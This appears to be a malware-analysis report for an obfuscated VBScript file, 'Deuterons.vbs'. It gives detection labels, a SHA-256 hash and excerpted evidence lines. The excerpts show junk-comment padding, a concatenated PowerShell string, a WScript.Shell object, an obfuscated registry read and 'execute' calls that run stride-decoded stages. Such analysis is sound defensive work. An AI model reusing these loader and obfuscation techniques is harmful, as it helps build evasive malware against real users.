Deuterons.vbs
Obfuscated VBS executes decoded payload
Registry-aware WSH executes a stride-decoded stageJunk-padded VBScript executes a stride-decoded stage
SHA-2566b55ca1aba76075f6e021c154c925baf4e12519bac3a6876491e08329c0d40ca
MaleculeO₂(As₃Xe₂)H₃(Db₂Os₂Po)Md₃(PtSi)
Evidence
1Imperativers = Imperativers & ";function blorbz { [void](Get-Date); $stiple = Get-Service ^| Out-Null; $blodportionerne = 'glorp blip zup'}$dinoceratidae=@("
2'Kuvertbrds! mindes
3'Hearing! dribbles? nonsubliminal triboluminescence, underfeel149:
4'miliondelen? profetiernes
5'Marquessate; inexperts, indtrngninger
6'Artikulatorisk, lascarine
7'Recitativet? fuellers. centralisering: sillibouk alienate
8'Wenches salderede. cyberkunderne
9'Skamlens, frontally subcircular colonialised
10'Europernes. intertwines sparkstttings! pseudoperianth
11'Sellaite27; outhorror77,
12'Lashkars, oceanografi?
13'Hoejne; nbifafg35
14'Forstrkker carex sundhedsvsenet: glassmen!
15Imperativers = Imperativers & "65,102,103,97,110,103,101,110,101);Get-Process ^| Out-Null;$rewordings=41364-35364;$omnummereres45=9;function fnordq { [void](Get-Random); $belringer = "
16
17Hogginnykalkulererstteri9 = Left("Bunglesome",6)
18
19'Shunning footlog! undervgtige?
20'Ludwiks; pseudoaesthetically!
21'Instating. udrkenernes sbes. omflakkende
22'Skaberaktapiren26? udringningerne
23'Husfrelse forgasser242 fircylindret
⋯5 lines
29'Cykeltyvenes reproductions! unsalably
30'Oogonial! poled. overskueligheden
31Imperativers = Imperativers & "'quux fizz wibble'}function Indtrre ($fhovedet) {[void](Get-Date);$antiferromagnet=$hovedmenusystem247."
32'Funebrial ripeness! fugtning
33'Brandfarens coloureds manipuler: dyflernes
34'Houndsbane stomatotomies
35'Wauks: oxylumines …
707:46… ene;
708'Trdemaatte papillote:
709'Artillery; teleostean ungdyrs226,
710'Raadets, planteskoler81,
711Set Successfulness = CreateObject("WScript.Shell")
712'Cullet? gahnite coward? verdensnaturfondens:
713'Uendeligheders dactylioglyphtic; copis vandprvers? stenometer:
⋯4 lines
744:37… ed;
745'Energise176? grevskaber; milliammetres188:
746'Locums; mazzinis:
747'Biconcave rhinolophine, ikldt? ropewalker
748Successfulness.RegRead Jarle("UdarbeII,IH hh K jjjLyyyyMWWWW\&.&&SLLL.O>>>>FL LLTyyyyWjjjjA????R/ //EDDDD\AAAAWPPPPOVVVVWss s6+ ++4hhhh3 UUU2>>>>Nyyyyo !!!d i,ieo oo\,PPPM ###ioooocOOOOrVVVVo____sWWWWo::::fwwwwtw ww\ * *Wssssi NNnuuu d NNNoR,RRw~~~ sWWWW\CCCCC;;;;uCCCCrii irBBBBe ,ggnwwwwt ;;;VJJJJeBBBBriii.s EEEi? ??orrrrnoooo\ sssPLLLLr ???obbbbge,eerxxxxaRRRRmyyyyF IIIil llltttte::: s hhhDFFFFivv,vrForarbejdend")
749'Maalvogter udsender, hjemsendelsen rapmundedes
750'Polyandry helmar! chirk;
751'tempereringen, rampoling incharitable, lasur!
752'Carbide? salvninge …
881:22… isen; nske!
882'provokation, quartet produktnavn carnifex! vdderens?
883'Risikozonen; unspying! blodtryksforhjelser. verdensmagts?
884execute Waget162
885'irreplaceableness cardamine;
886'Resina64, drifted; cyclanthaceae168: laccolite udtales
⋯4 lines
1033:17… nvejret? studenterunderviseres
1034'Phytolithological? mlkekonservesfabrikkers bestrewn
1035'Lipolysis; lysshows38
1036execute Tutoriate+mid(Arriveringens135,24223,1)
1037
1038Scorbutizeskuldert=744
⋯8 lines